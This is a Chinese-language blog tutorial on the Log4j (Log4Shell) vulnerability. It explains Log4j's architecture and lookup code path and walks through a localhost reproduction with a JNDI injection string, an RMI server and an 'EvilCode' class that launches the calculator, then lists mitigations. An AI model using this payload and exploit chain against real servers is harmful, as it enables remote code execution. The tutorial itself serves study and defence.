Log4j漏洞原理研究
一、Log4j简介
0x1:Log4j架构介绍
Log4j是Apache的一个开放源代码项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务 器、NT的事件记录器、UNIX Syslog守护进程等。我们也可以控制每一条日志的输出格式,通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。
Log4j由三个重要的组件构成:
- 日志信息的优先级:日志信息的优先级从高到低有ERROR、 WARN、 INFO、DEBUG,分别用来指定这条日志信息的重要程度。
- 日志信息的输出目的地:日志信息的输出目的地指定了日志将打印到控制台还是文件中。
- 日志信息的输出格式:日志的输出格式则控制了日志信息的显示内容。
Log4j是一个组件化设计的日志系统,它的架构大致如下:
当我们使用Log4j输出一条日志时,Log4j自动通过不同的Appender把同一条日志输出到不同的目的地。例如:
- console:输出到屏幕
- file:输出到文件
- socket:通过网络输出到远程计算机
- jdbc:输出到数据库
在输出日志的过程中,通过Filter来过滤哪些log需要被输出,哪些log不需要被输出。例如,仅输出ERROR级别的日志。
最后,通过Layout来格式化日志信息,例如,自动添加日期、时间、方法名称等信息。
上述结构虽然复杂,但我们在实际使用的时候,并不需要关心Log4j的API,而是通过配置文件来配置它。以XML配置为例,使用Log4j的时候,我们把一个log4j2.xml的文件放到classpath下就可以让Log4j读取配置文件并按照我们的配置来输出日志。下面是一个配置文件的例子:
<?xml version="1.0" encoding="UTF-8"?> <Configuration> <Properties> <!-- 定义日志格式 --> <Property name="log.pattern">%d{MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36}%n%msg%n%n</Property> <!-- 定义文件名变量 --> <Property name="file.err.filename">log/err.log</Property> <Property name="file.err.pattern">log/err.%i.log.gz</Property> </Properties> <!-- 定义Appender,即目的地 --> <Appenders> <!-- 定义输出到屏幕 --> <Console name="console" target="SYSTEM_OUT"> <!-- 日志格式引用上面定义的log.pattern --> <PatternLayout pattern="${log.pattern}" /> </Console> <!-- 定义输出到文件,文件名引用上面定义的file.err.filename --> <RollingFile name="err" bufferedIO="true" fileName="${file.err.filename}" filePattern="${file.err.pattern}"> <PatternLayout pattern="${log.pattern}" /> <Policies> <!-- 根据文件大小自动切割日志 --> <SizeBasedTriggeringPolicy size="1 MB" /> </Policies> <!-- 保留最近10份 --> <DefaultRolloverStrategy max="10" /> </RollingFile> </Appenders> <Loggers> <Root level="info"> <!-- 对info级别的日志,输出到console --> <AppenderRef ref="console" level="info" /> <!-- 对error级别的日志,输出到err,即上面定义的RollingFile --> <AppenderRef ref="err" level="error" /> </Root> </Loggers> </Configuration>
虽然配置Log4j比较繁琐,但一旦配置完成,使用起来就非常方便。对上面的配置文件,凡是INFO级别的日志,会自动输出到屏幕,而ERROR级别的日志,不但会输出到屏幕,还会同时输出到文件。并且,一旦日志文件达到指定大小(1MB),Log4j就会自动切割新的日志文件,并最多保留10份。
0x2:程序开发中使用log4j
maven引入log4j依赖,poc.xml中添加依赖,
<dependencies> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> <scope>compile</scope> </dependency> </dependencies>
src目录下创建并设置log4j.properties,
### 设置### log4j.rootLogger = debug,stdout,D,E ### 输出信息到控制抬 ### log4j.appender.stdout = org.apache.log4j.ConsoleAppender log4j.appender.stdout.Target = System.out log4j.appender.stdout.layout = org.apache.log4j.PatternLayout log4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n ### 输出DEBUG 级别以上的日志到=logs/error.log ### log4j.appender.D = org.apache.log4j.DailyRollingFileAppender log4j.appender.D.File = logs/log.log log4j.appender.D.Append = true log4j.appender.D.Threshold = DEBUG log4j.appender.D.layout = org.apache.log4j.PatternLayout log4j.appender.D.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n ### 输出ERROR 级别以上的日志到=logs/error.log ### log4j.appender.E = org.apache.log4j.DailyRollingFileAppender log4j.appender.E.File =logs/error.log log4j.appender.E.Append = true log4j.appender.E.Threshold = ERROR log4j.appender.E.layout = org.apache.log4j.PatternLayout
package org; import org.apache.log4j.Logger; import org.junit.Test; public class log4jTest { private static Logger logger = Logger.getLogger(Test.class.getClass()); public static void main(String[] args) { // 记录debug级别的信息 logger.debug("This is debug message."); // 记录info级别的信息 logger.info("This is info message."); // 记录error级别的信息 logger.error("This is error message."); } }
参考链接:
https://www.cnblogs.com/hafiz/p/5487008.html https://blog.csdn.net/m0_37874657/article/details/80536086 https://blog.csdn.net/Evankaka/article/details/45815047 https://blog.csdn.net/xiaoxiong_web/article/details/77932655 https://blog.51cto.com/ios9/3109357 https://www.liaoxuefeng.com/wiki/1252599548343744/1264739436350112
二、漏洞原理
由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。简单点说,就是可以通过输入一些具有特殊意义的字符来攻击服务器。
如果入侵者在前端页面上输入了:${jndi:rmi://127.0.0.1:8080/evil} 这串字符, 然后后台用log4j记录了这串字符, log4j会自动使用jndi调用这个地址上的rmi内容。
关于JNDI漏洞的相关原理分析可以参阅这篇文章。
我们这里跟踪一下log4j具体导致漏洞的源码。
具体涉及到的入口类是log4j-core-xxx.jar中的org.apache.logging.log4j.core.lookup.StrSubstitutor这个类。原因是Log4j提供了Lookups的能力(关于Lookups可以点这里去看官方文档的介绍),简单来说就是变量替换的能力。在Log4j将要输出的日志拼接成字符串之后,它会去判断字符串中是否包含${和},如果包含了,就会当作变量交给org.apache.logging.log4j.core.lookup.StrSubstitutor这个类去处理。
- 图中标注1的地方就是现在漏洞修复的地方,让noLookups这个变量为true,就不会进去里面的逻辑,也就没有这个问题了
- 图中标注2的地方就是判断字符串中是否包含${,如果包含,就将从这个字符开始一直到字符串结束,交给图中标注3的地方去进行替换
- 图中标注3的地方就是具体执行替换的地方,其中config.getStrSubstitutor()就是我们上面提到的org.apache.logging.log4j.core.lookup.StrSubstitutor
在StrSubstitutor中,首先将${和}之间的内容提取出来,交给resolveVariable这个方法来处理。
我们看下resolver的内容,它是org.apache.logging.log4j.core.lookup.Interpolator类的对象。
它的lookups定义了10中处理类型,还有一个默认的defaultLoopup,一种11中。如果能匹配到10中处理类型,就交给它们去处理,其他的都会交给defaultLookup去处理。
匹配规则也很简单,下面简单举个例子。
- 如果我们的日志内容中有${jndi:rmi://127.0.0.1:1099/hello}这些内容,去掉${和},传递给resolver的就是jndi:rmi://127.0.0.1:1099/hello
- resolver会将第一个:之前的内容和lookups做匹配,我们这里获取到的是jndi,就会将剩余部分rmi://127.0.0.1:1099/hello交给jdni的处理器JndiLookup去处理
后续的利用链就是JNDI的利用链了。
参考链接:
https://www.cnblogs.com/wbo112/p/15690699.html
三、漏洞复现
首先,可以先创建一个普通的maven项目。
pom.xml中引入log4j-core与log4j-api的jar包。
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>log4j_test</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency> </dependencies> </project>
再创建一个用于开启RMI服务端的java文件。
package org.example; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, AlreadyBoundException { LocateRegistry.createRegistry(8080); final Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080); Reference ref = new Reference("EvilCode", "EvilCode", null); final ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("evil", referenceWrapper); System.out.println("启动成功"); } }
创建EvilCode恶意程序攻击类, 这里由于是自己的电脑, 还是用经典的calc计算器举例。
package org.example; public class EvilCode { static { System.err.println("打开计算器"); try { Runtime.getRuntime().exec("open -a Calculator"); } catch ( Exception e ) { e.printStackTrace(); } } }
最后创建一个用于模拟存在log4j日志注入漏洞的程序,使用log4j打印日志,模拟接收了外部不可信输入,并传入logger。
因为大多数使用Java开发的后端服务都是网络服务,用户可以通过网页表单提交输入内容,出于调试的需求,比如:restful接口发生运行时异常,通过logger.error方式打印发生异常时候用户提交的参数,那么就会直接中招。
package org; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log4j_vul { static Logger logger = LogManager.getLogger(); public static void main(String[] args) { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); //用input局部变量来模拟入侵者输入的内容 String input = "${jndi:rmi://127.0.0.1:8080/evil}"; //这里直接用log4j输入 logger.error(input); } }
参考链接:
https://www.cnblogs.com/lrxsznbe/p/15724363.html https://zhuanlan.zhihu.com/p/558441363 https://zhuanlan.zhihu.com/p/444017079 https://blog.csdn.net/qq_43474959/article/details/125313722
四、修复方案
- 使用 jvm 参数启动 -Dlog4j2.formatMsgNoLookups=true
- 设置 log4j2.formatMsgNoLookups=True
- 系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
官方还是强烈建议大家升级log4j2的版本为2.15.0的最新版本。